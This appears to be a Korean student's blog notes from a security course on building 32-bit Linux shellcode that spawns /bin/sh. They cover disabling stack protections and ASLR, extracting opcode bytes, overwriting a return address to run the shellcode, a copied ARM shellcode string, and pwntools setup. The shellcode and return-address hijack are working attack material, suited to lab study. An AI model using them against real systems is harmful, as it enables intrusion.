본문 바로가기
정보보안

정보보안3 8차시

by IT매니절 2024. 6. 23.

컴파일할 때 메모리(스택)에서 코드가 실행될 수 있도록 메모리 보호옵션을 해제
-fno-stack-protector: 스택 프로텍터 제거 옵션
-z execstack: 스택에 올라가 있는 기계어 코드를 실행하는 옵션
-mpreferred-stack-boundary=2: 함수들의 스택프레임에서 가장 낮은 주소가 2^N 에 배수가 되도록 align 하는 옵션

 

alias gcc='gcc -fno-stack-protector -mpreferred-stack-boundary=2 -z execstack'

편의성을 위해 alias에 추가해둠

 

실행환경은 Centos7 보안때문에 낮은버전으로 선택

 

-static로 컴파일 하기 위해
yum -y install gcc glibc-static glibc-static.i686 설치하였음

 

C언어 코드로 execve("/bin/sh", 0, 0); 가 포함된 소스를 정적 컴파일 후 실행하면
# ps
   PID TTY          TIME CMD
  9882 pts/1    00:00:00 bash
 11750 pts/1    00:00:00 sh
 11763 pts/1    00:00:00 ps
배쉬 쉘이 떨어지는게 아니라 프로세스에 11750 번호로 sh가 떠있음을 볼 수 있다

 

 

 

꼭 exit로 종료해준다


[root@boan1 root]# gcc myshellcode0.c
gcc: error trying to exec 'cc1': execvp: 그런 파일이나 디렉터리가 없습니다

=> 종료안해주면 자꾸 에러나서 나처럼 시간허비함 ^^ ............... 

( 결국 이문제는 아니었지만 참고한 블로그 https://mapoo.net/os/oslinux/redhat-es4centos-4x-gcc-%EC%97%85%EA%B7%B8%EB%A0%88%EC%9D%B4%EB%93%9C-%ED%95%98%EA%B8%B0/ )

 

strace
- 시스템 호출 추적 도구
- 프로그램 실행중 어떤 시스템 호출이 발생하는지 출력함

 

yum -y install strace

# strace ./myshellcode0

execve("./myshellcode0", ["./myshellcode0"], 0x7fff94f3afd0 /* 24 vars */) = 0
strace: [ Process PID=24146 runs in 32 bit mode. ]
uname({sysname="Linux", nodename="linuxboan1.linuxmaster.net", ...}) = 0
access("/etc/sysconfig/strcasecmp-nonascii", F_OK) = -1 ENOENT (그런 파일이나 디렉터리가 없습니다)
access("/etc/sysconfig/strcasecmp-nonascii", F_OK) = -1 ENOENT (그런 파일이나 디렉터리가 없습니다)
stat64("/etc/sysconfig/64bit_strstr_via_64bit_strstr_sse2_unaligned", 0xffa9cc08) = -1 ENOENT (그런 파일이나 디렉터리가 없습니다)
brk(NULL)                               = 0x91ab000
brk(0x91abd40)                          = 0x91abd40
set_thread_area({entry_number=-1, base_addr=0x91ab840, limit=0x0fffff, seg_32bit=1, contents=0, read_exec_only=0, limit_in_pages=1, seg_not_present=0, useable=1}) = 0 (entry_number=12)
brk(0x91ccd40)                          = 0x91ccd40
brk(0x91cd000)                          = 0x91cd000
rt_sigaction(SIGINT, {sa_handler=SIG_IGN, sa_mask=[], sa_flags=0}, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0
rt_sigaction(SIGQUIT, {sa_handler=SIG_IGN, sa_mask=[], sa_flags=0}, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0
rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
clone(child_stack=NULL, flags=CLONE_PARENT_SETTID|SIGCHLD, parent_tidptr=0xffa9cb14) = 24147
waitpid(24147, sh-4.2#

 

 

(gdb) disas main
Dump of assembler code for function main:
   0x08048e84 <+0>:     push   ebp
   0x08048e85 <+1>:     mov    ebp,esp
   0x08048e87 <+3>:     sub    esp,0xc
   0x08048e8a <+6>:     mov    DWORD PTR [esp+0x8],0x0
   0x08048e92 <+14>:    mov    DWORD PTR [esp+0x4],0x0
   0x08048e9a <+22>:    mov    DWORD PTR [esp],0x80cbbcc
   0x08048ea1 <+29>:    call   0x8055650 <execve>
   0x08048ea6 <+34>:    mov    eax,0x0
   0x08048eab <+39>:    leave
   0x08048eac <+40>:    ret
End of assembler dump.

 

<main+22>: mov    DWORD PTR [esp],0x80cbbcc
(gdb) x/s 0x80cbbcc
0x80cbbcc:      "/bin/sh"

 

=> "/bin/sh" 문자열이 들어있음 확인

 

[root@linuxboan1 root]#
[root@linuxboan1 root]# exit
exit
[Inferior 1 (process 24202) exited with code 01]
(gdb) q
[root@linuxboan1 ~]#

=> "/bin/sh" 에 의해 쉘 권한이 한 번 떨어졌고, exit로 gdb로 돌아갔다가 q로 돌아옴

 

 

echo 0 > /proc/sys/kernel/randomize_va_space

=> ASLR 기능 중지된 상태로 테스트

 

 

system("/bin/sh")은 execve("/bin/sh", 0, 0) 을 호출하게된다

execve는 경로를 넣어 프로세스를 실행시키고, 인수배열과 환경변수를 사용할 수 있음

0, 0은 인수배열도 없고 환경변수도 사용하지 않는다는 의미

 

https://syscalls32.paolostivanin.com/
리눅스 시스템콜 레퍼런스 정보

execve의 콜번호는 11

( 64비트는 https://syscalls64.paolostivanin.com/ execve 콜번호 59 )

 

execve("/bin/sh", 0, 0) 를 어셈블리로 변경하면

 

__asm__("mov $0x0, %edx");                // execve() 세 번째 인수
__asm__("mov $0x0, %ecx");                // execve() 두 번째 인수
__asm__("mov $0x804a018, %ebx");   // buf 주소 execve() 첫 번째 인수
__asm__("mov $0xb, %eax");               // #define __NR_execve    11 시스템콜
__asm__("int $0x80");

 

마지막 인수부터 edx, ecx, ebx에 담기고 시스템콜 번호가 eax에 셋팅

"int $0x80"는 시스템콜을 실행시키라는 의미

( IDT의 128번째 int $0x80 인터럽트 )

global 아니고 globl

 

(gdb) disas main
Dump of assembler code for function main:
=> 0x080483dd <+0>:     jmp    0x80483f1 <strings>

 

(gdb) disas /r strings
Dump of assembler code for function strings:
   0x080483f1 <+0>:     e8 e9 ff ff ff  call   0x80483df <start>
   0x080483f6 <+5>:     2f      das
   0x080483f7 <+6>:     62 69 6e        bound  %ebp,0x6e(%ecx)
   0x080483fa <+9>:     2f      das
   0x080483fb <+10>:    73 68   jae    0x8048465
   0x080483fd <+12>:    00 66 90        add    %ah,-0x70(%esi)
End of assembler dump.

=> bound는 명령어가 아님 2f / 62 69 6e b i n 2f / 73 68 s h

어셈블리로 억지로 실행하기 때문에 문자열이 쪼개져서 나타내짐

 

(gdb) disas start
Dump of assembler code for function start:
   0x080483df <+0>:     mov    eax,0xb
   0x080483e4 <+5>:     mov    edx,0x0
   0x080483e9 <+10>:    mov    ecx,0x0
   0x080483ee <+15>:    pop    ebx
   0x080483ef <+16>:    int    0x80

 

0x80483f1 <strings>: call   0x80483df <start>

=> strings의 주소 -> start의 주소

 

(gdb) bt
#0  0x080483df in start ()

=> ni 하다가 bt로 현재 위치를 확인할 수 있다

 

(gdb) x/8xw $esp
0xffffd618:     0x080483f6      0xf7e1e2d3      0x00000001      0xffffd6b4
0xffffd628:     0xffffd6bc      0xf7fd86b0      0x00000001      0x00000001

=> 0x080483f6 가 strings의 복귀주소이므로 esp에 담겼다

 

(gdb) x/s 0x080483f6
0x80483f6 <strings+5>:  "/bin/sh"

=> 이 주소에는 /bin/sh가 담겨 있음

 

0x080483ee <+15>:    pop    ebx 를 실행하고 난 후

 

(gdb) ni
0x080483ef in start ()
5: x/i $pc
=> 0x80483ef <start+16>:        int    0x80
4: $eip = (void (*)()) 0x80483ef <start+16>
3: $eax = 11
2: $esp = (void *) 0xffffd61c
1: $ebp = (void *) 0x0
(gdb) i r ebx
ebx            0x80483f6        134513654

=> ebx에 /bin/sh를 밀어넣고, esp는 0xffffd618 에서 0xffffd61c로 높아짐

 

 

쉘코드 추출
objdump : 바이너리를 분석할 수 있는 명령어. 시스템해킹(포너블) 할 때 필요함

 

옵션
-S 어셈블리어로 디스어셈블한 소스 전체 출력
-s 섹션 내용을 16진수로 출력
-D 전부 디버깅
-d 디스어셈블로 바이너리파일 내용 출력

-t 심볼테이블 확인 (함수명, 변수명, 시스템 호출 등)
-f 파일헤더 확인
-h 섹션헤더 확인

더보기

# objdump -D ./myshellcode3 | grep -A 20 main.:
080483dd <main>:
 80483dd:       eb 12                   jmp    80483f1 <strings>

080483df <start>:
 80483df:       b8 0b 00 00 00          mov    $0xb,%eax
 80483e4:       ba 00 00 00 00          mov    $0x0,%edx
 80483e9:       b9 00 00 00 00          mov    $0x0,%ecx
 80483ee:       5b                      pop    %ebx
 80483ef:       cd 80                   int    $0x80

080483f1 <strings>:
 80483f1:       e8 e9 ff ff ff          call   80483df <start>
 80483f6:       2f                      das
 80483f7:       62 69 6e                bound  %ebp,0x6e(%ecx)
 80483fa:       2f                      das
 80483fb:       73 68                   jae    8048465 <__libc_csu_init+0x65>
 80483fd:       00 66 90                add    %ah,-0x70(%esi)

08048400 <__libc_csu_init>:
 8048400:       55                      push   %ebp
 8048401:       57                      push   %edi

 

main 기준으로 위아래 20줄 출력

 

어셈블리 코드만 복사

b8 0b 00 00 00
ba 00 00 00 00
b9 00 00 00 00
5b
cd 80
e8 e9 ff ff ff
2f
62 69 6e
2f
73 68

=> 이 중

2f
62 69 6e
2f
73 68 는 문자열로 치환함 /bin/sh

 

\xb8\x0b\x00\x00\x00
\xba\x00\x00\x00\x00
\xb9\x00\x00\x00\x00
\x5b\xcd\x80
\xe8\xe9\xff\xff\xff

/bin/sh

=> 앞에 \x를 붙이면 쉘코드 끝 적당히 줄바꿈을 하거나 해서 사용하면 된다 (null 코드는 삭제하는게 좋긴함)

 

(gdb) x/12xw shellcode
0x804a014 <shellcode>:  0x00000bb8      0x0000ba00      0x00b90000      0x5b000000
0x804a024 <shellcode+16>:       0xe9e880cd      0x2fffffff      0x2f6e6962     0x00006873
0x804a034:      0x00000000      0x00000000      0x00000000      0x00000000

 

shellcode 변수에 쉘코드를 넣고, gdb로 출력해보면 그대로 메모리에 올라가 있는 것을 확인할 수 있다

 

c언어 코드로 복귀주소 위치에 도달하는 쉬운 방법

int *ret

ret = (int*)&ret + 2;

 

(gdb) $esp = (void *) 0xffffd614
(gdb) $ebp = (void *) 0xffffd618

(gdb) p &ret
$1 = (int **) 0xffffd614
(gdb) p &ret + 2
$2 = (int **) 0xffffd61c

 

지역변수인 ret의 주소에서 +2를 하자, ebp보다 한 칸 높아져서 복귀주소 위치에 도달함

 

*를 붙이면 주소의 값에 접근할 수 있으므로,

(*ret) = shellcode 변수.

그러면 복귀주소 위치에 쉘코드 변수 주소를 그대로 대입할 수 있게 된다

 

(gdb) bt
#0  0x0804a014 in shellcode ()

=> 복귀주소를 통해 shellcode에 위치해있는 상태. c나 n으로 진행시키면 쉘 권한이 떨어진다.

 

쉘코드 데이터베이스
http://shell-storm.org/shellcode/

 

http://shell-storm.org/shellcode/files/shellcode-904.html

char *SC =      "\x01\x30\x8f\xe2"
                "\x13\xff\x2f\xe1"
                "\x78\x46\x0e\x30"
                "\x01\x90\x49\x1a"
                "\x92\x1a\x08\x27"
                "\xc2\x51\x03\x37"
                "\x01\xdf\x2f\x62"
                "\x69\x6e\x2f\x2f"
                "\x73\x68";

=> Linux/ARM - execve("/bin/sh", NULL, 0) - 34 bytes

이외에도 많이 있음

 

(gdb) x/32xw $ebp
0xffffaee8:     0x41414141      0xffffb508      0x90909090      0x90909090

...
0xffffaf18:     0x90909090      0x90909090      0x90909090      0x90909090

하략

=> 공격코드에 의해 4141과 9090으로 덮여진 주소들. 0xffffb508은 점프할 주소

 

 

 

포너블 툴 설치

Pwntools

 

yum -y install centos-release-scl
yum -y install rh-python38
scl enable rh-python38 bash

만약 ~/.bash_profile에 scl enable rh-python38 bash가 없다면 넣어줌

 

# python -m venv pwntoolsProject
# source pwntoolsProject/bin/activate
(pwntoolsProject) []# python -m pip install --upgrade pip
(pwntoolsProject) []# python -m pip install --upgrade pwntools

 

ps aux|grep -E 'PID|pwnTest'

 

process 클래스 인수로 사용하고자 하는 ./pwnText 파일 실행
r = process(""./pwnTest)
type(r)

( 다른 터미널에서 확인 : ps -eLf|grep -E 'PID|pwnTest' )

r.recv(50)
stdout으로 출력된 전체 문자열을 읽어 값을 리턴
r.recv(50)
타른 터미널에서 ps aux|grep -E 'PID|pwnTest'로 확인하면
좀비 프로세스였던 pwnTest 종료됨 

 

 

'정보보안' 카테고리의 다른 글

정보보안4 2차시  (0) 2024.06.30
정보보안4 1차시  (0) 2024.06.29
정보보안3 7차시  (0) 2024.06.22
eggshell 추후 분석  (0) 2024.06.22
정보보안3 6차시  (0) 2024.06.16